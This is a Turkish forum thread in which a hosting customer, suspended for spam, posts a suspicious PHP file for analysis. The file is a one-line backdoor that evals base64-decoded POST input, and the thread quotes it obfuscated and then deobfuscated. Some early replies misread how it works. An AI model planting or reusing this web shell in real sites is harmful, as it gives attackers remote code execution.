• 07-06-2013, 01:27:13
    #1
    Reseller hesabım spam mail gönderiyormuş,bugün bu nedenle hesabım durduruldu.
    Şu anda incelemek için açtırdım,spam yapan kodu bulmaya çalışıyorum.
    Public Html/css dizini altında 7c32.php diye bir dosya var 644 izinli ve içinde verdiğim kod var.

    Şüphelerim bu php dosyası üzerindedir.
    Bu kodun açıklamasını yapabilecek arkadaşların desteğini bekliyorum.
    Teşekkürler.

    <?php if(isset($_POST["cod\x65"])){eval(base64_decode($_POST["co\x64e"]));}
    ?>
  • 07-06-2013, 01:44:46
    #2
    Üyeliği durduruldu
    Base64 ile şifrelenmiş bu kod, decode etmek lazım.
  • 07-06-2013, 01:48:04
    #3
    http://www.opinionatedgeek.com/dotne.../base64decode/

    bu siteden decode edin hocam bakın bakalım içinde ne sürprizler saklı
  • 07-06-2013, 01:55:08
    #4
    t4ko adlı üyeden alıntı: mesajı görüntüle
    http://www.opinionatedgeek.com/dotne.../base64decode/

    bu siteden decode edin hocam bakın bakalım içinde ne sürprizler saklı
    Hata veriyor yada beceremedim.
  • 07-06-2013, 01:56:38
    #5
    SCLSDA adlı üyeden alıntı: mesajı görüntüle
    Hata veriyor yada beceremedim.
    hocam dosyanın içinde bulunan kodlar yukarıdakilerse eğer bir şey bulamayız.Eğer uzunsa buraya atarsanız arkadaşlarla çözebiliriz büyük ihtimal.
  • 07-06-2013, 01:58:36
    #6
    Tüm kod bu,içerik bu kadar.
  • 07-06-2013, 02:12:28
    #7
    Bu dosyayı silip ftp yi komple indirip bir taramadan geçirmenizi öneririm.
  • 07-06-2013, 02:20:03
    #8
    Dosyayı anında sildim zaten.
    İnternette bu kod ve dosya ismiyle yaptığım aramalarda hep spam maille ilişkilendirilmiş görünüyor.
    Benim konu açmamın sebebi bu kod içeriğinde ne olduğudur.
    Bu kodu açabilecek arkadaşların desteğini bekliyorum.
  • 07-06-2013, 02:33:22
    #9
    Bu kodu ancak bu kadar çözebiliriz
    <?php 
    if(isset($_POST["code"])){
    eval(base64_decode($_POST["code"]));
    } 
    ?>
    Sayfaya dışardan kod post edip onunla bir şeyler yapıyor ama tam anlamadım. Hacklink için yapılan birşeydir diye tahmin ediyorum..